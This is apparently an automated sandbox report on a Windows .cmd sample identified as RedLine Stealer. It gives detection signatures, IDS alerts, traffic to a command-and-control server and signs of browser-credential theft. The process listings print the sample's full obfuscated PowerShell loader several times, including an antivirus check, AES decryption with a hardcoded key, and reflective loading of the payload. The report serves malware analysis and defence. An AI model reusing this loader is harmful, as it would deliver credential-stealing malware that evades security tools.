Edit tour

Windows Analysis Report
z52PO0048857.cmd

Overview

General Information

Sample name:	z52PO0048857.cmd
Analysis ID:	1535306
MD5:	832dd29f7ffd54f656233e56c588b4fd
SHA1:	fd306aaaa8b2065f80773cf440e245f3120eef09
SHA256:	3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d
Tags:	cmduser-Porcupine
Infos:

Detection

RedLine

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Suricata IDS alerts for network traffic

Yara detected RedLine Stealer

AI detected suspicious sample

Connects to many ports of the same IP (likely port scanning)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses known network protocols on non-standard ports

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Classification

Process Tree

System is w10x64

cmd.exe (PID: 2288 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\z52PO0048857.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3272 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\user\Desktop\z52PO0048857.cmd';$BczT='GeRVWptRVWpCRVWpurRVWpreRVWpntRVWpPRVWproRVWpcRVWpessRVWp'.Replace('RVWp', ''),'SpdpWdlitdpWd'.Replace('dpWd', ''),'EntUUZwrUUZwyPUUZwoUUZwinUUZwtUUZw'.Replace('UUZw', ''),'ElmNutemNutmmNutentmNutAtmNut'.Replace('mNut', ''),'LoZlRdadZlRd'.Replace('ZlRd', ''),'FriYMJomiYMJBiYMJasiYMJe64iYMJStiYMJriiYMJngiYMJ'.Replace('iYMJ', ''),'CDTtzhaDTtznDTtzgeDTtzExDTtzteDTtznsDTtzioDTtznDTtz'.Replace('DTtz', ''),'TrUPQEanUPQEsfUPQEormUPQEFUPQEiUPQEnUPQEalUPQEBUPQElocUPQEkUPQE'.Replace('UPQE', ''),'IqNQJnvqNQJoqNQJkeqNQJ'.Replace('qNQJ', ''),'CoqEENpqEENyqEENToqEEN'.Replace('qEEN', ''),'CrehWBeaehWBteehWBDehWBeehWBcehWBrypehWBtorehWB'.Replace('ehWB', ''),'MaQHwVinQHwVModQHwVuQHwVleQHwV'.Replace('QHwV', ''),'ReoviQadLoviQinoviQeoviQsoviQ'.Replace('oviQ', ''),'Devonzcomvonzpvonzrevonzssvonz'.Replace('vonz', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($BczT[0])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function pWQul($PgjTo){$ArRhZ=[System.Security.Cryptography.Aes]::Create();$ArRhZ.Mode=[System.Security.Cryptography.CipherMode]::CBC;$ArRhZ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$ArRhZ.Key=[System.Convert]::($BczT[5])('BCbtvIveY0T0lkWSkDxWOMe/c90s1PvXXJN390CRmts=');$ArRhZ.IV=[System.Convert]::($BczT[5])('JbfpGWq+SHjQD2Awma012A==');$BcXUN=$ArRhZ.($BczT[10])();$RcqyN=$BcXUN.($BczT[7])($PgjTo,0,$PgjTo.Length);$BcXUN.Dispose();$ArRhZ.Dispose();$RcqyN;}function iDUTr($PgjTo){$bKrDu=New-Object System.IO.MemoryStream(,$PgjTo);$gnvgt=New-Object System.IO.MemoryStream;$atXgD=New-Object System.IO.Compression.GZipStream($bKrDu,[IO.Compression.CompressionMode]::($BczT[13]));$atXgD.($BczT[9])($gnvgt);$atXgD.Dispose();$bKrDu.Dispose();$gnvgt.Dispose();$gnvgt.ToArray();}$XZgdm=[System.IO.File]::($BczT[12])([Console]::Title);$IbVAd=iDUTr (pWQul ([Convert]::($BczT[5])([System.Linq.Enumerable]::($BczT[3])($XZgdm, 5).Substring(2))));$AAuWz=iDUTr (pWQul ([Convert]::($BczT[5])([System.Linq.Enumerable]::($BczT[3])($XZgdm, 6).Substring(2))));[System.Reflection.Assembly]::($BczT[4])([byte[]]$AAuWz).($BczT[2]).($BczT[8])($null,$null);[System.Reflection.Assembly]::($BczT[4])([byte[]]$IbVAd).($BczT[2]).($BczT[8])($null,$null); " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 2768 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 4080 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Sigma Signatures

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, CommandLine: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\z52PO0048857.cmd" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2288, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2768, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE RedLine Stealer - CheckConnect Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-16T20:39:14.416665+0200	2045000	1	Malware Command and Control Activity Detected	51.195.145.77	57942	192.168.2.8	49704	TCP

ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-16T20:38:59.822671+0200	2046056	1	A Network Trojan was detected	51.195.145.77	57942	192.168.2.8	49705	TCP

ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-16T20:38:59.822671+0200	2045001	1	Malware Command and Control Activity Detected	51.195.145.77	57942	192.168.2.8	49705	TCP

ETPRO MALWARE RedLine - CheckConnect Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-16T20:39:09.385121+0200	2849662	1	Malware Command and Control Activity Detected	192.168.2.8	49704	51.195.145.77	57942	TCP

ETPRO MALWARE RedLine - EnvironmentSettings Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-16T20:39:15.250494+0200	2849351	1	Malware Command and Control Activity Detected	192.168.2.8	49705	51.195.145.77	57942	TCP

ETPRO MALWARE RedLine - SetEnvironment Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-16T20:39:19.145390+0200	2849352	1	Malware Command and Control Activity Detected	192.168.2.8	49707	51.195.145.77	57942	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2849351 - Severity 1 - ETPRO MALWARE RedLine - EnvironmentSettings Request : 192.168.2.8:49705 -> 51.195.145.77:57942
Source: Network traffic	Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.8:49704 -> 51.195.145.77:57942
Source: Network traffic	Suricata IDS: 2045000 - Severity 1 - ET MALWARE RedLine Stealer - CheckConnect Response : 51.195.145.77:57942 -> 192.168.2.8:49704
Source: Network traffic	Suricata IDS: 2849352 - Severity 1 - ETPRO MALWARE RedLine - SetEnvironment Request : 192.168.2.8:49707 -> 51.195.145.77:57942
Source: Network traffic	Suricata IDS: 2045001 - Severity 1 - ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound : 51.195.145.77:57942 -> 192.168.2.8:49705
Source: Network traffic	Suricata IDS: 2046056 - Severity 1 - ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) : 51.195.145.77:57942 -> 192.168.2.8:49705

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 51.195.145.77 ports 57942,2,4,5,7,9

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 57942
Source: unknown	Network traffic detected: HTTP traffic on port 57942 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 57942
Source: unknown	Network traffic detected: HTTP traffic on port 57942 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 57942
Source: unknown	Network traffic detected: HTTP traffic on port 57942 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 57942
Source: unknown	Network traffic detected: HTTP traffic on port 57942 -> 49707

Source: global traffic

TCP traffic: 192.168.2.8:49704 -> 51.195.145.77:57942

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 51.195.145.77:57942Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 51.195.145.77:57942Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 51.195.145.77:57942Content-Length: 959963Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 51.195.145.77:57942Content-Length: 959955Expect: 100-continueAccept-Encoding: gzip, deflate

Source: Joe Sandbox View

ASN Name: OVHFR OVHFR

Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77
Source: unknown	TCP traffic detected without corresponding DNS query: 51.195.145.77

Source: global traffic

DNS traffic detected: DNS query: api.ip.sb

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 51.195.145.77:57942Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: powershell.exe, 00000005.00000002.1448410913.00000000077CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: powershell.exe, 00000005.00000002.1445238637.00000000051D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: tmpEA92.tmp.3.dr, tmpEB35.tmp.3.dr, tmpEA52.tmp.3.dr, tmpEB65.tmp.3.dr, tmpEAD4.tmp.3.dr, tmpEAC3.tmp.3.dr, tmpEAA3.tmp.3.dr, tmpEB34.tmp.3.dr, tmpEB04.tmp.3.dr, tmpEB14.tmp.3.dr, tmpEA62.tmp.3.dr, tmpEB66.tmp.3.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000005.00000002.1445238637.00000000051D3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1445238637.00000000051F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: tmpEA92.tmp.3.dr, tmpEB35.tmp.3.dr, tmpEA52.tmp.3.dr, tmpEB65.tmp.3.dr, tmpEAD4.tmp.3.dr, tmpEAC3.tmp.3.dr, tmpEAA3.tmp.3.dr, tmpEB34.tmp.3.dr, tmpEB04.tmp.3.dr, tmpEB14.tmp.3.dr, tmpEA62.tmp.3.dr, tmpEB66.tmp.3.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: tmpEA92.tmp.3.dr, tmpEB35.tmp.3.dr, tmpEA52.tmp.3.dr, tmpEB65.tmp.3.dr, tmpEAD4.tmp.3.dr, tmpEAC3.tmp.3.dr, tmpEAA3.tmp.3.dr, tmpEB34.tmp.3.dr, tmpEB04.tmp.3.dr, tmpEB14.tmp.3.dr, tmpEA62.tmp.3.dr, tmpEB66.tmp.3.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: tmpEA92.tmp.3.dr, tmpEB35.tmp.3.dr, tmpEA52.tmp.3.dr, tmpEB65.tmp.3.dr, tmpEAD4.tmp.3.dr, tmpEAC3.tmp.3.dr, tmpEAA3.tmp.3.dr, tmpEB34.tmp.3.dr, tmpEB04.tmp.3.dr, tmpEB14.tmp.3.dr, tmpEA62.tmp.3.dr, tmpEB66.tmp.3.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: tmpEA92.tmp.3.dr, tmpEB35.tmp.3.dr, tmpEA52.tmp.3.dr, tmpEB65.tmp.3.dr, tmpEAD4.tmp.3.dr, tmpEAC3.tmp.3.dr, tmpEAA3.tmp.3.dr, tmpEB34.tmp.3.dr, tmpEB04.tmp.3.dr, tmpEB14.tmp.3.dr, tmpEA62.tmp.3.dr, tmpEB66.tmp.3.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: tmpEA92.tmp.3.dr, tmpEB35.tmp.3.dr, tmpEA52.tmp.3.dr, tmpEB65.tmp.3.dr, tmpEAD4.tmp.3.dr, tmpEAC3.tmp.3.dr, tmpEAA3.tmp.3.dr, tmpEB34.tmp.3.dr, tmpEB04.tmp.3.dr, tmpEB14.tmp.3.dr, tmpEA62.tmp.3.dr, tmpEB66.tmp.3.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: tmpEA92.tmp.3.dr, tmpEB35.tmp.3.dr, tmpEA52.tmp.3.dr, tmpEB65.tmp.3.dr, tmpEAD4.tmp.3.dr, tmpEAC3.tmp.3.dr, tmpEAA3.tmp.3.dr, tmpEB34.tmp.3.dr, tmpEB04.tmp.3.dr, tmpEB14.tmp.3.dr, tmpEA62.tmp.3.dr, tmpEB66.tmp.3.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: tmpEA92.tmp.3.dr, tmpEB35.tmp.3.dr, tmpEA52.tmp.3.dr, tmpEB65.tmp.3.dr, tmpEAD4.tmp.3.dr, tmpEAC3.tmp.3.dr, tmpEAA3.tmp.3.dr, tmpEB34.tmp.3.dr, tmpEB04.tmp.3.dr, tmpEB14.tmp.3.dr, tmpEA62.tmp.3.dr, tmpEB66.tmp.3.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: tmpEA92.tmp.3.dr, tmpEB35.tmp.3.dr, tmpEA52.tmp.3.dr, tmpEB65.tmp.3.dr, tmpEAD4.tmp.3.dr, tmpEAC3.tmp.3.dr, tmpEAA3.tmp.3.dr, tmpEB34.tmp.3.dr, tmpEB04.tmp.3.dr, tmpEB14.tmp.3.dr, tmpEA62.tmp.3.dr, tmpEB66.tmp.3.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 2298
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 2298			Jump to behavior

Source: classification engine

Classification label: mal96.troj.spyw.evad.winCMD@8/51@1/1

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2352:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4czvfbzv.1zw.ps1

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: tmpE9FF.tmp.3.dr, tmpEA30.tmp.3.dr, tmpEB88.tmp.3.dr, tmpEB89.tmp.3.dr, tmpEA20.tmp.3.dr, tmpEB77.tmp.3.dr, tmpEA0F.tmp.3.dr, tmpEB9A.tmp.3.dr, tmpEB99.tmp.3.dr, tmpE9EE.tmp.3.dr, tmpEBAB.tmp.3.dr, tmpEA41.tmp.3.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: powershell.exe

String found in binary or memory: prompt"PS $($executionContext.SessionState.Path.CurrentLocation)$('>' * ($nestedPromptLevel + 1)) ";# .Link# https://go.microsoft.com/fwlink/?LinkID=225750# .ExternalHelp System.Management.Automation.dll-help.xml$global:?

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\z52PO0048857.cmd" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\user\Desktop\z52PO0048857.cmd';$BczT='GeRVWptRVWpCRVWpurRVWpreRVWpntRVWpPRVWproRVWpcRVWpessRVWp'.Replace('RVWp', ''),'SpdpWdlitdpWd'.Replace('dpWd', ''),'EntUUZwrUUZwyPUUZwoUUZwinUUZwtUUZw'.Replace('UUZw', ''),'ElmNutemNutmmNutentmNutAtmNut'.Replace('mNut', ''),'LoZlRdadZlRd'.Replace('ZlRd', ''),'FriYMJomiYMJBiYMJasiYMJe64iYMJStiYMJriiYMJngiYMJ'.Replace('iYMJ', ''),'CDTtzhaDTtznDTtzgeDTtzExDTtzteDTtznsDTtzioDTtznDTtz'.Replace('DTtz', ''),'TrUPQEanUPQEsfUPQEormUPQEFUPQEiUPQEnUPQEalUPQEBUPQElocUPQEkUPQE'.Replace('UPQE', ''),'IqNQJnvqNQJoqNQJkeqNQJ'.Replace('qNQJ', ''),'CoqEENpqEENyqEENToqEEN'.Replace('qEEN', ''),'CrehWBeaehWBteehWBDehWBeehWBcehWBrypehWBtorehWB'.Replace('ehWB', ''),'MaQHwVinQHwVModQHwVuQHwVleQHwV'.Replace('QHwV', ''),'ReoviQadLoviQinoviQeoviQsoviQ'.Replace('oviQ', ''),'Devonzcomvonzpvonzrevonzssvonz'.Replace('vonz', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($BczT[0])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function pWQul($PgjTo){$ArRhZ=[System.Security.Cryptography.Aes]::Create();$ArRhZ.Mode=[System.Security.Cryptography.CipherMode]::CBC;$ArRhZ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$ArRhZ.Key=[System.Convert]::($BczT[5])('BCbtvIveY0T0lkWSkDxWOMe/c90s1PvXXJN390CRmts=');$ArRhZ.IV=[System.Convert]::($BczT[5])('JbfpGWq+SHjQD2Awma012A==');$BcXUN=$ArRhZ.($BczT[10])();$RcqyN=$BcXUN.($BczT[7])($PgjTo,0,$PgjTo.Length);$BcXUN.Dispose();$ArRhZ.Dispose();$RcqyN;}function iDUTr($PgjTo){$bKrDu=New-Object System.IO.MemoryStream(,$PgjTo);$gnvgt=New-Object System.IO.MemoryStream;$atXgD=New-Object System.IO.Compression.GZipStream($bKrDu,[IO.Compression.CompressionMode]::($BczT[13]));$atXgD.($BczT[9])($gnvgt);$atXgD.Dispose();$bKrDu.Dispose();$gnvgt.Dispose();$gnvgt.ToArray();}$XZgdm=[System.IO.File]::($BczT[12])([Console]::Title);$IbVAd=iDUTr (pWQul ([Convert]::($BczT[5])([System.Linq.Enumerable]::($BczT[3])($XZgdm, 5).Substring(2))));$AAuWz=iDUTr (pWQul ([Convert]::($BczT[5])([System.Linq.Enumerable]::($BczT[3])($XZgdm, 6).Substring(2))));[System.Reflection.Assembly]::($BczT[4])([byte[]]$AAuWz).($BczT[2]).($BczT[8])($null,$null);[System.Reflection.Assembly]::($BczT[4])([byte[]]$IbVAd).($BczT[2]).($BczT[8])($null,$null); "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\user\Desktop\z52PO0048857.cmd';$BczT='GeRVWptRVWpCRVWpurRVWpreRVWpntRVWpPRVWproRVWpcRVWpessRVWp'.Replace('RVWp', ''),'SpdpWdlitdpWd'.Replace('dpWd', ''),'EntUUZwrUUZwyPUUZwoUUZwinUUZwtUUZw'.Replace('UUZw', ''),'ElmNutemNutmmNutentmNutAtmNut'.Replace('mNut', ''),'LoZlRdadZlRd'.Replace('ZlRd', ''),'FriYMJomiYMJBiYMJasiYMJe64iYMJStiYMJriiYMJngiYMJ'.Replace('iYMJ', ''),'CDTtzhaDTtznDTtzgeDTtzExDTtzteDTtznsDTtzioDTtznDTtz'.Replace('DTtz', ''),'TrUPQEanUPQEsfUPQEormUPQEFUPQEiUPQEnUPQEalUPQEBUPQElocUPQEkUPQE'.Replace('UPQE', ''),'IqNQJnvqNQJoqNQJkeqNQJ'.Replace('qNQJ', ''),'CoqEENpqEENyqEENToqEEN'.Replace('qEEN', ''),'CrehWBeaehWBteehWBDehWBeehWBcehWBrypehWBtorehWB'.Replace('ehWB', ''),'MaQHwVinQHwVModQHwVuQHwVleQHwV'.Replace('QHwV', ''),'ReoviQadLoviQinoviQeoviQsoviQ'.Replace('oviQ', ''),'Devonzcomvonzpvonzrevonzssvonz'.Replace('vonz', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($BczT[0])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function pWQul($PgjTo){$ArRhZ=[System.Security.Cryptography.Aes]::Create();$ArRhZ.Mode=[System.Security.Cryptography.CipherMode]::CBC;$ArRhZ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$ArRhZ.Key=[System.Convert]::($BczT[5])('BCbtvIveY0T0lkWSkDxWOMe/c90s1PvXXJN390CRmts=');$ArRhZ.IV=[System.Convert]::($BczT[5])('JbfpGWq+SHjQD2Awma012A==');$BcXUN=$ArRhZ.($BczT[10])();$RcqyN=$BcXUN.($BczT[7])($PgjTo,0,$PgjTo.Length);$BcXUN.Dispose();$ArRhZ.Dispose();$RcqyN;}function iDUTr($PgjTo){$bKrDu=New-Object System.IO.MemoryStream(,$PgjTo);$gnvgt=New-Object System.IO.MemoryStream;$atXgD=New-Object System.IO.Compression.GZipStream($bKrDu,[IO.Compression.CompressionMode]::($BczT[13]));$atXgD.($BczT[9])($gnvgt);$atXgD.Dispose();$bKrDu.Dispose();$gnvgt.Dispose();$gnvgt.ToArray();}$XZgdm=[System.IO.File]::($BczT[12])([Console]::Title);$IbVAd=iDUTr (pWQul 